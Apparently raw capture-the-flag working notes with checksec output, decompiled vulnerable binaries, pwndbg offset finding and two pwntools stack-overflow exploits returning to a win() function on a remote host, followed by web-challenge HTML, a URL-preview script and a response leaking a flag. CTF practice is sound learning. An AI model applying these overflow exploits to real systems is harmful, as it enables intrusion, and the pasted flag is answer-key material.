checksec ./chall
----------------
Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  vuln(&argc);
  puts("Sayangnya... kamu nggak dapet apa-apa. Coba lagi deh.");
  return 0;
}

int vuln()
{
  char s[68]; // [esp+0h] [ebp-48h] BYREF

  puts("Masukin inputmu, jagoan:");
  gets(s);
  return printf("Inputmu: %s\\n", s);
}

void __noreturn win()
{
  char s[100]; // [esp+8h] [ebp-70h] BYREF
  FILE *stream; // [esp+6Ch] [ebp-Ch]

  stream = fopen("/flag.txt", "r");
  if ( !stream )
  {
    puts("Flag file not found!");
    exit(1);
  }
  fgets(s, 100, stream);
  printf("Admin Mode Baik Ni Flagnya Ngab: %s", s);
  fclose(stream);
  exit(0);
}

pwndbg -q ./chall
break *vuln+47
break *vuln+81
cyclic 100
run
ni
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

continue
saaa
cyclic -l saaa
Found at offset 72

from pwn import *

context.binary = ELF("./chall", checksec=True)
exe = context.binary
host, port = "195.154.94.231", 50151

io = remote(host, port)
io.recvline()

payload = flat(
	b"A"*72,
	p32(0xdeadbeef),
	p32(exe.symbols['win']),
)
io.sendline(payload)
io.interactive()

checksec ./chall
----------------
Arch:       i386-32-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x8048000)
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdout, 0);
  setbuf(stdin, 0);
  setbuf(stderr, 0);
  printf("DEBUG: win() is at %p\\n", win);
  vuln(&argc);
  return 0;
}

char *vuln()
{
  char s[68]; // [esp+0h] [ebp-48h] BYREF

  puts("Welcome to PWN MEDIUM! Can you bypass me?");
  puts("Give me your input:");
  return gets(s);
}

void __noreturn win()
{
  char s[100]; // [esp+8h] [ebp-70h] BYREF
  FILE *stream; // [esp+6Ch] [ebp-Ch]

  stream = fopen("/flag", "r");
  if ( !stream )
  {
    puts("Flag not found!");
    exit(1);
  }
  fgets(s, 100, stream);
  printf("Congrats! Here's your flag: %s", s);
  fclose(stream);
  exit(0);
}

pwndbg -q ./chall
break *vuln+65
break *vuln+77
cyclic 100
run
ni
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

cyclic -l saaa
Found at offset 72

from pwn import *

context.binary = ELF("./chall", checksec=True)
exe = context.binary
host, port = "195.154.94.231", 50150

io = remote(host, port)
leak_win = int(io.recvline().strip().split()[-1], 16)
io.recvline()

log.info(f"Leak win func: {hex(leak_win)}")

payload = flat(
	b"A"*72,
	p32(0xdeadbeef),
	p32(leak_win),
)

io.sendline(payload)
io.interactive()

<div class="container">
    <h1>Dadakan Shop</h1>
    <p>Website demo. Try to explore the site.</p>
    <p><a href="/dashboard">Dashboard</a></p>
    <p><a href="/login" id="loginLink">Login (dummy)</a></p>
    <p id="adminArea" style="display:none"><a href="/superadmin">Super Admin Panel</a></p>
  </div>
  <script>
    document.getElementById('loginLink').addEventListener('click', function(e){
      e.preventDefault();
      document.cookie = 'role=user; path=/';
      alert('Logged in as user.');
    });
  </script>

{
  "ok": true,
  "status": 200,
  "headers": {
    "content-type": "application/javascript; charset=UTF-8",
    "server": ""
  },
  "bodyPreview": "\n(function(){\n  const form = document.getElementById('previewForm');\n  const urlInput = document.getElementById('urlInput');\n  const result = document.getElementById('result');\n  const srvport = document.getElementById('srvport');\n  const uptime = document.getElementById('uptime');\n\n  // Expose current port (not a hint; just UI info)\n  fetch('/healthz').then(() => {\n    try {\n      // Port is embedded by the server (via same-origin); here we infer from location\n      const p = window.location.port || (window.location.protocol === 'https:' ? '443' : '80');\n      srvport.textContent = p;\n    } catch(_) {}\n  });\n\n  // Fake uptime counter (client-side)\n  const start = Date.now();\n  setInterval(() => {\n    const secs = Math.floor((Date.now() - start)/1000);\n    uptime.textContent = secs + 's';\n  }, 1000);\n\n  form.addEventListener('submit', async (e) => {\n    e.preventDefault();\n    result.textContent = 'Fetching…';\n    try {\n      const resp = await fetch('/api/preview', {\n        method: 'POST',\n        headers: {'Content-Type': 'application/json'},\n        body: JSON.stringify({ u: urlInput.value })\n      });\n      const data = await resp.json();\n      result.textContent = JSON.string"
}

{
  "ok": true,
  "status": 200,
  "headers": {
    "content-type": "application/json; charset=utf-8",
    "server": ""
  },
  "bodyPreview": "{\\"ok\\":true,\\"flag\\":\\"ITECHNO2025{W3b_TR00o5Ss}\\"}"
}